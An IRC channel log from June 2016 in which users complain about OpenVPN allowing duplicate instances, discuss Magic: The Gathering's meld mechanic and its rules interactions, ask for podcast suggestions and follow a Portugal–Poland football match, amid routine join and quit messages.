16:50:15 -!- ybden has changed nick to YBDEN.
16:50:53 -!- hydraz has changed nick to HYDRAZ.
16:51:23 -!- moon_ has quit (Ping timeout: 244 seconds).
16:55:19 -!- HYDRAZ has changed nick to hydraz.
17:06:48 -!- YBDEN has changed nick to ybden.
17:15:15 -!- augur has joined.
17:19:50 -!- augur has quit (Ping timeout: 250 seconds).
17:46:47 <izabera> openvpn lets you run it twice with the same config
17:46:56 <izabera> same gateway same destination same everything
17:47:02 <izabera> it creates two tap interfaces
17:47:12 <izabera> and sometimes one works and sometimes the other one works
17:47:19 <izabera> why does it even let me do this?
17:47:35 <izabera> why is this useful
17:47:51 <izabera> it should just error out
18:04:15 -!- ais523 has joined.
18:09:45 <b_jonas> ais523: hi
18:13:04 <b_jonas> ais523: have you seen the preview of Eldritch Moon (M:tG)?
18:13:28 <b_jonas> it contains something I didn't think was possible
18:14:08 <ais523> meld?
18:14:25 <b_jonas> ais523: yes
18:14:31 <b_jonas> SNOT basically
18:14:39 <b_jonas> the rules aren't known yet because there's no set FAQ
18:14:50 <b_jonas> but it seems to me like it will cause lots of rules trouble
18:16:17 <b_jonas> the easiest broken situation is a melded creature with Gift of Immortality attached and the Gift activating
18:16:23 <b_jonas> triggering
18:16:40 <b_jonas> but there might be cases worse than that
18:20:15 -!- spiette has quit (Ping timeout: 246 seconds).
18:22:50 -!- `^_^v has quit (Quit: This computer has gone to sleep).
18:41:55 <FireFly> So what does Meld do?
18:42:34 <ais523> FireFly: basically it takes two cards from exile and places them both on the battlefield transformed as one large card
18:42:56 <FireFly> Yeah, that sounds fun rules-wise
18:43:11 -!- `^_^v has joined.
18:43:30 <ais523> (the existing meld cards are templated as "exile ~ and a creature named Y, then meld them")
18:44:14 -!- `^_^v has quit (Client Quit).
18:44:27 <FireFly> Ah, so for now it's pretty restrictive
18:44:45 <FireFly> As in, only applicable to specific pairs of creatures
18:45:20 <ais523> FireFly: they each have half a creature printed on the back
18:45:27 <b_jonas> FireFly: yes, specific cards that are printed one-and-half-of-a-double-side-faced (as opposed to transforming cards which are printed double-faced)
18:45:39 <ais523> right, they basically invented 1½-faced cards
18:51:24 <b_jonas> ais523: yeah. and if a third un-set is ever made, they'll probably have to make fold-out three-faced cards which can be played face down with morph, then unmorph, then your choice of flip or transform (to one of the inner sides) or meld (to the other inner side) to top it
18:51:43 <ais523> no, clearly it needs to transform into a flip card
18:51:59 <ais523> or maybe have a flip card that transforms into another flip card
18:51:59 <b_jonas> that could work too
18:52:05 <ais523> with different flip conditions pre- and post-transform
18:52:16 <ais523> (ofc, you could actually do that in black border, but I somehow doubt it'd ever be printed)
18:53:04 <b_jonas> or the transformed side could be flip, and the flipped transformed side would have the meld ability, and the melded creature could level up of course
18:53:29 <b_jonas> um
18:53:32 <b_jonas> the melded permanent
18:53:39 <b_jonas> probably not all of those would be creatures
18:54:13 <ais523> is it possible to have a creature that levels up into a nonland creature?
18:54:29 <ais523> err, a noncreature land
18:54:42 <b_jonas> ais523: two flip cards on two sides would be funny, because with the current rules, if you transform the permanent, it would keep the flipped status
18:54:49 <ais523> I guess you'd need a characteristic-setting ability as you don't have anywhere to put the new type line
18:54:51 <ais523> b_jonas: yes, that was intentional
18:55:15 <b_jonas> ais523: yes, maybe a characteristic-setting ability
18:55:41 <b_jonas> I wonder if split cards could be in this somehow, but that's hard to imagine, split doesn't combine with anything but manifest
18:55:48 <b_jonas> split only goes on instants and sorceries
18:57:02 <b_jonas> oh! but Primal Clay would combine with any of level up, morph, transform, flip, meld
18:57:53 -!- `^_^v has joined.
19:00:35 <b_jonas> the primal clay ability takes only two lines of text in a normal-sized text box, and has very confusing rules implications, especially on things like morph/manifested cards that etb without the ability
19:00:40 <b_jonas> and with copy involved
19:01:32 <b_jonas> hmm, actually meld would let you print a double-sized flip card with large text box, so it'd be sort of a good combination
19:01:40 <b_jonas> also large image
19:02:22 <b_jonas> obviously that part should be a permanent you want to tap often, to make physical handling of the two cards plus counters difficult
19:03:00 -!- bauen1 has joined.
19:08:22 -!- augur has joined.
19:18:31 -!- spiette has joined.
19:37:57 -!- spiette has quit (Ping timeout: 276 seconds).
19:44:06 -!- spiette has joined.
19:44:08 <Taneb> Can anyone recommend some CS or maths podcasts I can listen to during a two day journey
19:44:29 -!- spiette_ has joined.
19:46:17 -!- spiette_ has quit (Client Quit).
20:01:27 <b_jonas> start match
20:06:25 <b_jonas> Portugal - Poland 0-1 so far
20:07:16 <b_jonas> or is it Poland - Portugal 1-0 instead?
20:22:40 -!- Reece` has joined.
20:44:31 -!- spockers has quit (Ping timeout: 240 seconds).
21:15:24 -!- heroux has quit (Ping timeout: 244 seconds).
21:20:01 <b_jonas> 1-1 by the way
21:20:05 <b_jonas> so far
21:27:54 -!- heroux has joined.
21:29:51 -!- spiette has quit (Quit: :qa!).
21:30:37 -!- jaboja has joined.
21:44:46 -!- AnotherTest has joined.
21:46:47 -!- spockers has joined.
21:48:32 -!- spockers_ has joined.
21:52:03 -!- spockers has quit (Ping timeout: 264 seconds).
21:55:47 <quintopi1> hmm
21:55:59 <quintopi1> i got renicked
21:56:09 -!- quintopi1 has changed nick to quintopia.
21:56:19 -!- quintopia has quit (Changing host).
21:56:19 -!- quintopia has joined.
22:02:53 -!- moon_ has joined.
22:03:08 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:04:20 -!- `^_^v has joined.
22:04:48 -!- spockers_ has changed nick to spockers.
22:12:08 -!- spockers has quit (Excess Flood).
22:12:48 -!- spockers has joined.
22:21:45 -!- Reece` has quit (Read error: Connection reset by peer).
22:30:55 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:34:34 -!- Deewiant_ has joined.
22:34:49 -!- Deewiant has quit (Ping timeout: 244 seconds).
22:36:42 -!- AnotherTest has quit (Ping timeout: 276 seconds).
22:40:27 -!- Warrigal has joined.
22:45:37 -!- jix_ has quit (*.net *.split).
22:45:37 -!- tswett has quit (*.net *.split).
22:45:37 -!- atehwa has quit (*.net *.split).
22:45:37 -!- Alcest has quit (*.net *.split).
22:45:37 -!- ineiros has quit (*.net *.split).
22:53:18 -!- augur has quit (Remote host closed the connection).
23:34:19 -!- PinealGlandOptic has quit (Quit: leaving).
23:37:37 -!- oerjan has joined.
23:46:00 -!- Sgeo_ has joined.
←2016-05 2016-06 2016-07→ ↑2016 ↑all